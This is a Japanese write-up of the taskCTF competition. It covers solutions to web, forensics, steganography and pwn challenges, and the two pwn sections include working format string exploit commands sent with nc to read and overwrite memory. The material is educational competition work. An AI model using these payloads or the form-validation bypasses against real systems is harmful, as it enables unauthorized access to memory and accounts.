ひとりチーム st98 で taskCTF に参加しました。最終的に全問を解いて 1300 点を獲得し、2 位でした。
以下、解いた問題の write-up です。
Welcome to taskCTF!
flag: taskctf{let’s_enj0y!}
taskctf{let's_enj0y!}
私フロントエンドエンジニア!
頼まれていたValidation付きのログイン画面を作ったよ。
先輩, 褒めてくれるかな?(URL)
与えられた URL にアクセスするとログインフォームが表示されました。HTML を見てみると、以下のようなコメントが確認できました。
<!--
note for debug
username: superuser_admin
password: password12345678
-->
早速ログインフォームにコピペしてみましたが、8 文字しか入力できません。HTML をよく見ると input
要素に maxlength="8"
が設定されています。これを DevTools で削除して先程の認証情報でログインするとフラグが得られました。
taskctf{maxlength_15_4_5t0pg4p_s0lut10n}
先輩に指摘されたので, JavaScriptでもValidationを追加してみたよ。
これでもう大丈夫かな?(URL)
Bad Frontend-1 とほとんど同じ内容のようですが、以下のような内容の validation.js
が読み込まれるよう変更されていました。
const username = document.getElementById("username");
const password = document.getElementById("password");
username.addEventListener('input', function (e) {
const value = e.target.value;
e.target.value = value.slice(0, 8);
})
password.addEventListener('input', function (e) {
const value = e.target.value;
e.target.value = value.slice(0, 8);
})
先程と同様 input
要素の maxlength="8"
を削除した上で username.value = 'superuser_admin'; password.value = 'password12345678';
を実行してイベントを発火させることなくフォームの内容を変更し、ログインするとフラグが得られました。
taskctf{Fr0ntend_v4lid4t10n_15_5t1ll_we4k}
Capture the flag in the rainforest!
Rainforest といえば Amazon です。CTF のトップページにある Amazon の欲しい物リストを見ていくと、とある商品のコメントにフラグが設定されていました。
taskctf{Y0u_c4nn0t_5ee_the_f0re5t_f0r_the_tree5}
zipファイルが送られてきたけど, なぜか開けないです……
少し調べてみてくれない?添付ファイル: flag.zip
unzip
コマンドに投げてみましたが、End-of-central-directory signature not found. Either this file is not a zipfile, …
と怒られてしまいました。file
コマンドでどのようなファイルか確認しましょう。
$ file flag.zip
flag.zip: cpio archive
cpio じゃないですか! 7-Zip で開いて展開してみると flag.tar.gz
というファイルが出てきました。これも file
コマンドに通すと bzip2 であることがわかります。拡張子を信用せず 7-Zip で展開し続けると、最終的に flag
と whatAmI
というファイルが出てきました。前者がフラグでした。
taskctf{m1nd_the_f1le_extent10n}
おかげさまで開けたけど, 次は怪文書ですか……
追加調査おねがいします。[2019-12-05 01:15:00 JST追記] Matryoshkaで解いた際に, flag以外にもう一つファイルがあったと思います。そのファイルを追加で調査してください!
Matryoshka の続きのようです。whatAmI
は以下のような内容でした。
N3q8ryccAAShfltxJQIAAAAAAAAhAAAAAAAAANCfkrrgAewBsV0ALGiBABn6B/yQVSAphFxUm968
7FM/eBKHsAAl3tYLd6ikKF8eCxfBpakkNinQtBUJ08Ne8VXEbXadlBDf2kjHQRmn9R4jtG5gEczh
2uyf6CbHkRb3fK5OVwYITpphK/tDcMG96Kn2xE+sfmAXAwQADS/6WNRgi+P/LBZbGgfI/18r1tz8
tmPC3h65sw7+ziewhNSqLZ0hh9VTxfKw52blwNkhVT64OMgyfSq6cr53GA0/iNVw/HazDnYlKKnZ
COaTPORRJQDKO1Ngs1mtR5ZSpcd6P6B9K3w6e5V5OSpx8W27mVGKw7MVctmTL1CUa5gtaHsMm0V7
t04qFD5cR8wJO6a4LTkoMeIDnN52MAzwOQLCqoPVkIi4FlyvWe+WNMyVvN4wgALSpeggZY44sppe
2pEa7t8uTWmkx3EWyXuqC3WtL2zaaxWckVczSW9a+oTHVqXW2OGvtGpo8ytmoMWrWnz54qoD9kf/
jfwaBYLuYpVKPvvpRKsrfrWfxojmSN5RINVyM2kv8ev26oTwDQac9DZvc28+gBkazMHweLC8ieSI
Cbd4INBZQcSx7Ufcj4WH9wAAAIEzB64P1TvrS1ck0/6zcBiBQB5HXlta8CpiDsFj1Rfbm6jy08no
4qzQYkZBoykapbsEeZuYGbzrg0V4DEFTOdBZ2W3lrFuJAwEOgXkMP6BB76KehvYW2CJ7JpNBGeFG
ioKdzTmGk7MAAAAXBoG5AQlsAAcLAQABIwMBAQVdABAAAAxuCgHMJMICAAAA
明らかに Base64 です。base64 -d whatAmI
でデコードし、先程と同様に 7-Zip で展開すると broken
と flag
というファイルが出てきました。後者がフラグでした。
taskctf{Base64_enc0de5_w1th_64_ch4r4cter5}
え?中にまだファイルがあったの?
何度も悪いんだけど, それの調査もお願いできます?
Matryoshka の続きのようです。broken
は以下のような内容でした。
$ xxd broken
0000000: 5858 5858 1400 0000 0800 d393 844f 42e3 XXXX.........OB.
0000010: 0746 1f01 0000 5c01 0000 0400 1c00 666c .F....\.......fl
0000020: 6167 5554 0900 03bd 7ce7 5d59 7be7 5d75 agUT....|.]Y{.]u
0000030: 780b 0001 0400 0000 0004 0000 0000 4d90 x.............M.
0000040: bf4a 0431 1087 fb7d 8ab1 b239 b227 1c1e .J.1...}...9.'..
0000050: 770f 2008 16b6 5e23 d9ec ec25 9a4d 4232 w. ...^#...%.MB2
0000060: ebb1 8ac5 de16 5636 8288 3622 8a27 586a ......V6..6".'Xj
0000070: efc3 04d1 c730 8716 361f 0cf3 e7f7 3195 .....0..6.....1.
0000080: e6f3 2910 0fc7 82aa b39d 2d33 d2ba 3dac ..).......-3..=.
0000090: 9136 ceb3 6cb6 bb3f 8085 5442 820a c00d .6..l..?..TB....
00000a0: 702f a43a 41a8 944e b0be e604 2413 42e3 p/.:A..N....$.B.
00000b0: 9cf5 1440 db90 8009 2527 0ec2 d6ce a74a ...@....%'.....J
00000c0: 5933 00c9 0378 7498 1a45 daa7 85fd 3d24 Y3...xt..E....=$
00000d0: 9197 e803 cb0e 6c03 41da 4697 602c 2991 ......l.A.F.`,).
00000e0: 6664 0afe 9f96 9492 111a 68d7 b388 5028 fd........h...P(
00000f0: c37d cbd6 ae20 9262 634e 9583 a24d 69a6 .}... .bcN...Mi.
0000100: 64b0 87b4 1980 7c0b 8a36 328f d514 66ca d.....|..62...f.
0000110: c5fe 3a2e 1fe2 f229 f6af 7179 f5f5 7e1b ..:....)..qy..~.
0000120: bb97 d8df c5fe 2d76 abef d5e3 e7c5 65ec ......-v......e.
0000130: 6e62 f71c bb8f d8dd 6792 c885 699e 130a nb......g...i...
0000140: 5968 3b67 9e0b 61ad 6106 d991 cbff fe12 Yh;g..a.a.......
0000150: f2d1 78b2 3d1e 0e27 4c52 ad7f 0050 4b01 ..x.=..'LR...PK.
0000160: 021e 0314 0000 0008 00d3 9384 4f42 e307 ............OB..
0000170: 461f 0100 005c 0100 0004 0018 0000 0000 F....\..........
0000180: 0001 0000 00a4 8100 0000 0066 6c61 6755 ...........flagU
0000190: 5405 0003 bd7c e75d 7578 0b00 0104 0000 T....|.]ux......
00001a0: 0000 0400 0000 0058 5858 5800 0000 0001 .......XXXX.....
00001b0: 0001 004a 0000 005d 0100 0000 00 ...J...].....
50 4b 01 02
と ZIP の Central Directory Header のシグネチャが見えます。XXXX
を 50 4b 03 04
に置き換えると ZIP として展開でき、flag
というファイルにフラグがありました。
taskctf{F1n4lly_met!}
この画像, よく見たら旗があるらしい。
変わったところは無いように思うけど……添付ファイル: new_icon.png
とりあえず strings
に投げてみましょう。
$ strings -n 10 new_icon.png
iTXt<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
<exif:PixelYDimension>750</exif:PixelYDimension>
<exif:PixelXDimension>750</exif:PixelXDimension>
<exif:ColorSpace>1</exif:ColorSpace>
<tiff:Orientation>1</tiff:Orientation>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
|cc#rhS"G^
$dz9.ozpoz0&3
'7j# Uttkz
I5lvso?b48A
|Ew/D(%qs-
xUg06}~)*`
CZZ2Z^<eVL
'piKb~[?vW
q*L>ebMN{M
&z&B&L&R&Dvm^
Zi6xf7{>WL'
uX 7GM}8QS
W9XLYxsqcM
taskctf{p4y_4tten...can you get the other?
2tEXtCopyright
...t10n_t0_ex1f}, can you get the other?
taskctf{p4y_4tten...
と ...t10n_t0_ex1f}, can you get the other?
というそれっぽいテキストを結合しましょう。
taskctf{p4y_4ttent10n_t0_ex1f}
このファイル内に, 埋め込まれた見えないFlagがあるって噂を聞いたよ。
でも, いくら探しても見つからないんだ。
代わりに見つけてくれない?添付ファイル: flag.txt
flag.txt
は以下のような内容でした。
$ xxd flag.txt
0000000: 69f3 a085 b66e f3a0 85a1 76f3 a085 ac61 i....n....v....a
0000010: f3a0 85a9 6cf3 a085 a469 f3a0 8586 64f3 ....l....i....d.
0000020: a085 ac46 f3a0 85a1 6cf3 a085 a761 f3a0 ...F....l....a..
0000030: 84ba 67f3 a085 b43a f3a0 85a1 74f3 a085 ..g....:....t...
0000040: b361 f3a0 85ab 73f3 a085 a36b f3a0 85b4 .a....s....k....
0000050: 63f3 a085 a674 f3a0 85bb 66f3 a085 847b c....t....f....{
0000060: f3a0 84b1 54f3 a085 a468 f3a0 859f 31f3 ....T....h....1.
0000070: a085 b935 f3a0 84b0 5ff3 a085 b531 f3a0 ...5...._....1..
0000080: 859f 35f3 a085 ab5f f3a0 85ae 31f3 a084 ..5...._....1...
0000090: b06e f3a0 85b7 76f3 a085 9f34 f3a0 84b1 .n....v....4....
00000a0: 6cf3 a085 9631 f3a0 84b5 64f3 a084 bf5f l....1....d...._
00000b0: f3a0 85bd 666c 3467 7d0a ....fl4g}.
ASCII 範囲内の文字を抜き出すと invalidFlag:taskctf{Th15_15_1nv4l1d_fl4g}
という偽フラグが出てきます。残った ASCII 範囲外の文字は f3 a0 85 b6
や f3 a0 85 a1
など UTF-8 っぽい雰囲気があります。UTF-8 としてデコードして各文字のコードポイントを確認してみましょう。
$ python3
>>> with open('flag.txt', 'rb') as f:
... s = f.read().decode('utf-8')
...
>>> [hex(ord(x)) for x in s if ord(x) >= 0x7f]
['0xe0176', '0xe0161', '0xe016c', '0xe0169', '0xe0164', '0xe0146', '0xe016c', '0xe0161', '0xe0167', '0xe013a', '0xe0174', '0xe0161', '0xe0173', '0xe016b', '0xe0163', '0xe0174', '0xe0166', '0xe017b', '0xe0144', '0xe0131', '0xe0164', '0xe015f', '0xe0179', '0xe0130', '0xe0175', '0xe015f', '0xe016b', '0xe016e', '0xe0130', '0xe0177', '0xe015f', '0xe0131', '0xe0156', '0xe0135', '0xe013f', '0xe017d']
いずれも 0xe01
から始まっています。下位 1 バイトがいずれも ASCII 範囲内なので抽出してみましょう。
>>> ''.join(chr(ord(x) & 0xff) for x in s if ord(x) >= 0x7f)
'validFlag:taskctf{D1d_y0u_kn0w_1V5?}'
フラグが得られました。
taskctf{D1d_y0u_kn0w_1V5?}
最近学校で度胸試しとしてゴミ屋敷の探検が流行ってるんだよね。
友人もこの前行ってきたらしくて, ゴミ屋敷にあるノートにflagを書いてきたらしいんだ。
彼は気が強いからできたけど, 私は気が弱いから見に行くなんて絶対に無理!
代わりにflagを見つけてきてくれない?添付ファイル: hoardingHouse.zip
zipinfo
でどのような ZIP ファイルか確認してみましょう。
$ zipinfo hoardingHouse.zip | head -n 30
Archive: hoardingHouse.zip
Zip file size: 476824 bytes, number of entries: 1102
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note7.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note6.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note4.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note5.txt
-rw-r--r-- 3.0 unx 6148 bx defN 19-Dec-05 01:33 .DS_Store
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note1.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note0.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note2.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 note3.txt
drwxr-xr-x 3.0 unx 0 bx stor 19-Dec-05 01:33 0/
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note7.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note6.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note4.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note5.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note1.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note0.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note2.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/note3.txt
drwxr-xr-x 3.0 unx 0 bx stor 19-Dec-05 01:33 0/1/
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note7.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note6.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note4.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note5.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note1.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note0.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note2.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note3.txt
-rw-r--r-- 3.0 unx 11 tx stor 19-Dec-05 01:33 0/1/note8.txt
テキストファイルが大量に入っています。とりあえず展開して taskctf
という文字列を含むファイルを grep
で探してみましょう。
$ grep -r "taskctf" .
./0/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/37/38/39/40/41/42/43/44/45/46/47/48/49/50/51/52/53/54/55/56/note8.txt:taskctf{f1nd_4nd_grep_15_g0d}
フラグが得られました。
taskctf{f1nd_4nd_grep_15_g0d}
(問題サーバへの接続情報)
添付ファイル: peep2.c
peep2.c
は以下のような内容でした。
#include <stdio.h>
char s3cr37[64] = "taskctf{XXXXXXXX}\0";
void get_flag(){
printf("flag is %s\n", s3cr37);
}
int main(){
char local[128];
fgets(local,128,stdin);
printf(local);
printf("secret address: 0x%x\n", &s3cr37);
return 0;
}
接続後に適当な文字列を入力すると、フラグがあるアドレスを教えてくれるようです。とりあえず取得してみましょう。
$ nc (省略)
a
a
secret address: 0x804a040
$ nc (省略)
b
b
secret address: 0x804a040
何度実行してもこのアドレスは変わりません。printf(local);
と Format String Bug が存在しているので、これを利用してフラグを読み出してみましょう。
$ (echo -en '\x40\xa0\x04\x08%4$s'; echo neko) | nc (省略)
@taskctf{1t's_f0rm@_str1ng_4tt4ck!!}neko
secret address: 0x804a040
フラグが得られました。
taskctf{1t's_f0rm@_str1ng_4tt4ck!!}
(問題サーバへの接続情報)
添付ファイル: 334.c
334.c
は以下のような内容でした。
#include <stdio.h>
char s3cr37[32] = "taskctf{XXXXXXXX}\0";
int key = 0x12345678;
void get_flag(){
printf("flag is %s\n", s3cr37);
}
int main(){
char local[128];
fgets(local,128,stdin);
printf(local);
printf("key address: 0x%x\n", &key);
printf("key : 0x%x\n", key);
if(key==0x334)
get_flag();
return 0;
}
今度は key
を 0x334
に書き換えればよいようです。先程と同じ要領で key
のアドレスを得た後、FSB を利用して書き換えちゃいましょう。
$ nc (省略)
a
a
key address: 0x804a060
key : 0x12345678
$ nc (省略)
b
b
key address: 0x804a060
key : 0x12345678
$ (echo -en '\x60\xa0\x04\x08%816c%4$n'; echo neko) | nc (省略)
` �neko
key address: 0x804a060
key : 0x334
flag is taskctf{wh@'2_334?}
フラグが得られました。
taskctf{wh@'2_334?}
なお、s3cr37
が peep2
と同じアドレスに存在しているようで、同じ解法で解くことができました。
$ (echo -en '\x40\xa0\x04\x08%4$s'; echo neko) | nc (省略)
@taskctf{wh@'2_334?}neko
key address: 0x804a060
key : 0x12345678
アンケートに答えるとフラグが得られました。CTF の終了 1 時間ほど前に追加された問題で、それまで私が 1 位を維持していましたが kusano さんに回答速度で負けました😇
taskctf{Th4nk_y0u_f0r_pl4y1ng!}
よく考えれば、Google フォームは HTML を見れば回答せずとも終了後のメッセージが得られますね。
︙
]
]
]
,["taskctf{Th4nk_y0u_f0r_pl4y1ng!}",1,0,0,0]
,null,null,[0,0]
,null,null,"taskCTF Questionnaire",48,[null,null,null,null,0]
,null,null,null,null,[2]
︙